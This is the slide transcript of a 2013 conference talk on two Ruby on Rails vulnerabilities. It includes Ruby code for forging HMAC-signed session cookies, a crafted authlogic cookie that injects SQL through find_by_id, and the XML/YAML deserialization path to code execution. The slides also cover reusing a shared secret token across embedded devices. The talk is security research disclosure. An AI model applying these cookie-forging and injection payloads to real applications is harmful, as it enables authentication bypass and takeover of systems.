Upgrade to Pro — share decks privately, control downloads, hide ads and more …

CVE-2012-5664 & CVE-2013-0156

CVE-2012-5664 & CVE-2013-0156

Ruby on Rails CVE-2012-5664 & CVE-2013-0156 details,
presented @ Hackfest14 at hackerspace.gr

Recording available at: http://www.youtube.com/watch?feature=player_detailpage&v=cLt9FSts5Zc#t=5562s

joernchen of Phenoelit

January 10, 2013
Tweet

More Decks by joernchen of Phenoelit

Other Decks in Technology

Transcript

  1. How it began (for me) • Developers • Developers •

    Developers … • In other words: LMGTFY – Let my github that for you
  2. Rails Session Cookie Recipie • Ingredients: – session_id – user_id

    – secret_token • Bakin' it – Mix :session_id=>”41414141” with :user_id=>1 – SHA-1 HMAC with secret_token
  3. In code cook = Base64.strict_encode64( Marshal.dump({:session_id='41414141', :user_id=>'1'}) ) digest =

    OpenSSL::HMAC.hexdigest( OpenSSL::Digest::Digest.new(hashtype), key, cook )
  4. That was simple! • This basic technique works as it

    is for authenticated_system only • On devise/authlogic it will fail due to lack of knowledge of the database stored token
  5. A look at authlogic • The authlogic specific parts in

    the session are: "user_credentials_id"=>1 – Who you are "user_credentials"=>"some_long_str ing" – Per-user database hold secret which gets verified
  6. authlogic internals • The user_credentials_id value is stuffed in User.find_by_id

    • Unfortunately there is^Wwas a certain quirk in RoR with the find_by_* methods (also known as CVE-2012-5664): > User.find_by_id({:select =>"* from users limit 1 ­­"}) User Load (0.5ms) SELECT * from users limit 1 ­­ FROM "users" WHERE "users"."id" IS NULL LIMIT 1 => #<User id: 1, [… all the fun stuff]
  7. Putting this together • authlogic will like the following cookie

    a lot (and even more do I): {"session_id" => "41414141", "user_credentials"=>"Phenoelit", "user_credentials_id"=>{ :select=> " *,\"Phenoelit\" as persistence_token from Users ­­ " }}
  8. The evil twin • Let's assume the following: – $Vendor

    builds an embedded device – The device has a RoR web-frontend – It's using authenticated_system or similar (this “user_id” => 1 stuff)
  9. The evil twin • If all devices of $Vendor share

    the same secret_token → Instant win • Buy one device, create admin account login as admin. • Observe session cookie • Reuse session cookie against all the other devices =)
  10. CVE-2013-0156 • Root cause: Typed XML POST /railsapp HTTP/1.1 Content­Type:

    text/xml [...] <x type=”yaml”>­­­ some yaml</x> => params[:x] => “some yaml”
  11. Fear YAML • YAML might encode almost arbitrary Objects –

    Constructor is bypassed – Objects are allocated and instance variables are set • So, what if: – One can YAML.encode some Object out of the Rails std. Library which implements a custom [] method – Railsapp thinks it has an Hash object and calls [“somemember”] on it – => things might go wrong ™
  12. The holy grail • Hi, my name is: ActionController::Routing::RouteSet::NamedRouteCollection alias

    []= add def add(name, route) routes[name.to_sym] = route define_named_route_methods(name,route) end
  13. The holy grail def define_named_route_methods(name, route) {:url => {:only_path =>

    false}, :path => {:only_path => true}}.each do |kind, opts| hash = route.defaults.merge(:use_route => name).merge(opts) define_hash_access route, name, kind, hash [...]
  14. The holy grail def define_hash_access(route, name, kind, options) selector =

    hash_access_name(name, kind) # We use module_eval to avoid leaks @module.module_eval <<­END_EVAL, __FILE__, __LINE__ + 1 remove_possible_method :#{selector} [...]
  15. Cheers! • Thx for listening! • <3 & cheers to:

    – astera – HDM – all @ Phenoelit – #social – all @ Recurity Labs – Meder – My new friends from .gr =)